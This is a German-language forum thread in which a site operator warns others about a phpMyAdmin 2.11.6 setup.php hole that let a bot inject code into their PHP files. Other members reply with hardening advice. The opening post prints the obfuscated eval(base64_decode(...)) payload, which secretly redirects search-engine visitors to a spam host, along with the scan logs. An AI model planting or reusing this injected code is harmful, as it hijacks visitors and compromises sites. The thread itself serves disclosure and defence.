Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!

Sicherheitslücke phpMyAdmin

  • Ersteller Ersteller Gundi
  • Erstellt am Erstellt am
G

Gundi

Guest
Moin...

ich möchte euch vor einem "neuen" Malware Bot warnen.

Einige unserer Seiten wurde heute als Malware marktiert und wir haben uns sofort auf die Suche begeben. Alex hat dann schnell gefunden, dass alle "<?php" durch:

<?php eval(base64_decode("CgoKZXJyb3JfcmVwb3J0aW5nKDApOwokbmNjdj1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkbmNjdil7CiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsKJHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYXNrLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm1zbiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vayIpKSB7CiAgICBpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpewoJICAgIGhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9kZ3NkZmhzZGZoLm9zYS5wbC8iKTsKICAgIGV4aXQoKTsKCX0KCX0KCX0KCX0="));


ersetzt wurden. Dann mal schnell geschaut was das Script macht:

Damit es nicht schnell auffliegt passiert garnichts wenn man die Seite betritt. Kommt man allerdings mit dem Refer Goolge oder Facebook oder andere Suchemaschine auf die Seite, wird man auf eine Spam Seite weitergeleitet...

Das Script hatte an die 100 PHP Dateien befallen. Nachdem die alle händisch gecleant wurden, hatte alex alle Passwörter geändert und ihm kam die idee dass es daran eigentlich nicht gelegen haben kann.

Dann sind wir alle Logdateien der letzten 6 Wochen durchgegangen und per Zufall wirklich was schönes gefunden:

2011-07-04 07:50:29 XXX XXX XXX GET /scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 2 1838 152 109
2011-07-04 07:50:30 XXX XXX XXX GET /admin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 158 140
2011-07-04 07:50:30 XXX XXX XXX GET /admin/pma/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 162 93
2011-07-04 07:50:30 XXX XXX XXX GET /admin/phpmyadmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 169 140
2011-07-04 07:50:31 XXX XXX XXX GET /db/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 155 171
2011-07-04 07:50:31 XXX XXX XXX GET /dbadmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 160 125
2011-07-04 07:50:31 XXX XXX XXX GET /myadmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 160 156
2011-07-04 07:50:32 XXX XXX XXX GET /mysql/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 158 156
2011-07-04 07:50:32 XXX XXX XXX GET /mysqladmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 163 109
2011-07-04 07:50:32 XXX XXX XXX GET /typo3/phpmyadmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 169 125
2011-07-04 07:50:33 XXX XXX XXX GET /phpadmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 404 0 3 1838 161 125
2011-07-04 07:50:39 XXX XXX XXX GET /phpMyAdmin/scripts/setup.php - 80 - 80.87.128.81 HTTP/1.1 - - - www.XXX.de 200 0 64 8624 163 906

Es kann sein, dass noch mehr Varianten durchprobiert werden aber bei uns existiert nur die Datei: /phpMyAdmin/scripts/setup.php
Scheinbar hat er erstmal ausgelesen auf welchen Seiten es wo die passende Script Datei gibt.

Vorgestern gab es dann ein paar POST Sendungen an die entsprechende Datei und schon was das Script in unserem System injeziert.

Betroffen ist dabei phpMyAdmin 2.11.6 und es ist nicht ausversehen eine nicht gelöschte setup Datei.
Keine Ahnung warum es in dieser Version überhaupt eine Setup Datei gibt, allerdings hat sie ganz offenbar eine Sicherheitslücke.

(Alex hat übrigens einen Honeypot gebaut um zu schauen was an diese Seite per POST gesendet wird) :eating:

Also mal fix eure Seiten prüfen und htaccess Schutz einbauen.


lg Gundi
 
Willst Du damit sagen, dass Du bisher phpMyAdmin ohne htaccess Passwortschutz genutzt hast?

Gruß monte
 
Ähm, eventuell solltest du Deine Server ab und zu auf den aktuellen Stand bringen?
Ich kann gar nicht mehr zählen, wie viele Updates es seitdem gegeben hat, jedenfalls viele.
 
Wie ist das eigentlich mit den Projekten, die bei 1und1 oder Strato liegen.
Muss man sich da auch selbst um den Schutz kümmern oder machen das die Provider ?
Bin leider kein Experte für Datenbanken und Technik.
 
Sofern Du nur ein Hostingpaket oder einen Managed Server nutzt, brauchst Du Dich um den Server nicht zu kümmern. Ausser, Du hast z.B. phpMyAdmin installiert.

Gruß monte
 
Ihr habt natürlich recht, das war unser Fehler... php u. mysql updates werden regelmäßig gemacht...
Wir programmieren den Code komplett selber und phpmyadmin ist nur zur verwalten.

lg Gundi
 
Übrigens gibts noch mehr Lücken (und Fixes) in phpmyadmin: Kritische Lücken in phpMyAdmin

Edit: Hab hier noch ein Beispiel gefunden, wie man solche Art von Angriffen abwehren kann.
Im oben genannten Beispiel sieht man, dass von der selben IP-Adresse verschiedene Requests von einem Scan-Script am Webserver ankamen. Diese wurden mit "404" beantwortet.
Mittels fail2ban kann man solche Requests blocken: Fail2Ban zur Scan-Script-Abwehr einsetzen
Im Beispiel werden die Requests nur 10 Minuten geblockt. Sowas kann man natürlich auch auf Tage ausweiten.
 
Zuletzt bearbeitet:
Sofern Du nur ein Hostingpaket oder einen Managed Server nutzt, brauchst Du Dich um den Server nicht zu kümmern. Ausser, Du hast z.B. phpMyAdmin installiert.

Für die auf dem Server eingesetzte Software wie mySQL, PHP, den Webserver, Mailserver etc. trifft das zu. Um die Sicherheit deiner eingesetzten Scripte, also CMS, Verwaltungstools etc. musst du dich in jedem Fall selbst kümmern. Das schreibt jeder Hoster auch in seine AGB.
 
Eine simple htaccess Passwortabfrage vor phpmyadmin reicht vollkommen aus damit diese Bots nichts mehr finden.
 
Eine simple htaccess Passwortabfrage vor phpmyadmin reicht vollkommen aus damit diese Bots nichts mehr finden.

Manche hartnäckigen probieren es dann halt per Brutforce. ;-)

Generell ist zu empfehlen das Verz. nicht phpMyAdmin, phpmyadmin, phpadmin etc. zu nennen, so wird sofort der Wind aus den Segeln genommen.
 
Beim Scannen der Seite durch die Bots, wie es beim TE passiert ist, wird auf bekannte Sicherheitslücken abgezielt. Seine Seite ist einfach in den Crawler gekommen, und wurde nicht gezielt angegriffen. Da Bruteforce-Attacken auf Seiten der Angreifer zu viele Ressourcen verbrauchen ist es unwahrscheinlich, dass so versucht wird in geschützte Bereiche einzubrechen. Und wenn jemand die Seite gezielt angreifen will, dann wird er wohl erst andere Wege probieren, als eine Bruteforce-Attacke zu starten.

phpMyAdmin einfach auf eigene Subdomain legen und per htaccess schützen, so ist man auf der sicheren Seite - sogar mit phpMyAdmin Version 0.3b Beta :-)
 
Zurück
Oben